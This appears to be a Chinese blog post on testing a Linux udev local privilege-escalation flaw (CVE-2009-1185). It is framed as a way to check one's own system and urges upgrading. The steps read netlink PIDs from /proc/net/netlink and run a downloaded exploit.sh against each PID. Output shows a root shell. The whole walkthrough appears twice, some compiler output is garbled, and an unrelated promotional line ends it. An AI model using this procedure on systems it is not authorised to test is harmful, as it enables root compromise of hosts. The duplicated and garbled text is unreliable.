linux udev的权限漏洞测试方法
作者:梁增海
文章出处:http://s-logs.com/2009/04/linux-udev.html
版权声明:可以任意转载,转载时请务必以超链接形式标明文章原始出处和作者信息及本声明
漏洞相关信息可以在下面链接获取:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1185
http://www.linux-magazine.com/online/news/local_root_exploit_in_udev
http://www.debian.org/security/2009/dsa-1772
http://milw0rm.com/exploits/8478
测试方法:
下载以下脚本文件:
exploit.sh
放置在某个目录中,备用。
cat /proc/net/netlink
得到如下返回:
user@debian:~/attack$ cat /proc/net/netlink
sk Eth Pid Groups Rmem Wmem Dump Locks
f79e8200 0 2784 00000111 0 0 00000000 2
f7a10200 0 2771 00000001 0 0 00000000 2
dfb4ca00 0 0 00000000 0 0 00000000 2
dff58400 7 0 00000000 0 0 00000000 2
dff7a800 9 0 00000000 0 0 00000000 2
dff71e00 10 0 00000000 0 0 00000000 2
f75dd200 15 1175 00000001 0 0 00000000 2
dfb4c800 15 0 00000000 0 0 00000000 2
dffb6a00 16 0 00000000 0 0 00000000 2
在刚下载那个sh文件的目录中执行:
sh exploit.sh 2784
后边的数字是netlink的pid,如上例返回有多个,要多次尝试。2784,2771,1175,都可以尝试一下。
脚本会生成C文件并调用GCC编译,然后执行。如果主机不支持GCC,可以修改一下代码尝试其他的编译器,或者在本地编译好,上传二进制版本试试。
我在尝试1175时成功看到 # 结尾的shell了(你知道意味着什么,呵呵)。
user@debian:~/attack$ sh exploit.txt 1175
suid.c: In function 鈓ain?
suid.c:3: warning: incompatible implicit declaration of built-in function 鈋xecl?
sh-3.2# id
uid=0(root) gid=0(root) groups=20(dialout),24(cdrom),25(floppy),29(audio),44(video),46(plugdev),106(netdev),109(powerdev),1000(user)
请读者不要用于非法用途,仅用于测试自己的系统是否还存在此漏洞。如果有,更及时升级udev包,或者升级整个系统。
文章出处:http://s-logs.com/2009/04/linux-udev.html
版权声明:可以任意转载,转载时请务必以超链接形式标明文章原始出处和作者信息及本声明
漏洞相关信息可以在下面链接获取:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1185
http://www.linux-magazine.com/online/news/local_root_exploit_in_udev
http://www.debian.org/security/2009/dsa-1772
http://milw0rm.com/exploits/8478
测试方法:
下载以下脚本文件:
exploit.sh
放置在某个目录中,备用。
cat /proc/net/netlink
得到如下返回:
user@debian:~/attack$ cat /proc/net/netlink
sk Eth Pid Groups Rmem Wmem Dump Locks
f79e8200 0 2784 00000111 0 0 00000000 2
f7a10200 0 2771 00000001 0 0 00000000 2
dfb4ca00 0 0 00000000 0 0 00000000 2
dff58400 7 0 00000000 0 0 00000000 2
dff7a800 9 0 00000000 0 0 00000000 2
dff71e00 10 0 00000000 0 0 00000000 2
f75dd200 15 1175 00000001 0 0 00000000 2
dfb4c800 15 0 00000000 0 0 00000000 2
dffb6a00 16 0 00000000 0 0 00000000 2
在刚下载那个sh文件的目录中执行:
sh exploit.sh 2784
后边的数字是netlink的pid,如上例返回有多个,要多次尝试。2784,2771,1175,都可以尝试一下。
脚本会生成C文件并调用GCC编译,然后执行。如果主机不支持GCC,可以修改一下代码尝试其他的编译器,或者在本地编译好,上传二进制版本试试。
我在尝试1175时成功看到 # 结尾的shell了(你知道意味着什么,呵呵)。
user@debian:~/attack$ sh exploit.txt 1175
suid.c: In function 鈓ain?
suid.c:3: warning: incompatible implicit declaration of built-in function 鈋xecl?
sh-3.2# id
uid=0(root) gid=0(root) groups=20(dialout),24(cdrom),25(floppy),29(audio),44(video),46(plugdev),106(netdev),109(powerdev),1000(user)
请读者不要用于非法用途,仅用于测试自己的系统是否还存在此漏洞。如果有,更及时升级udev包,或者升级整个系统。
加支付宝好友偷能量挖...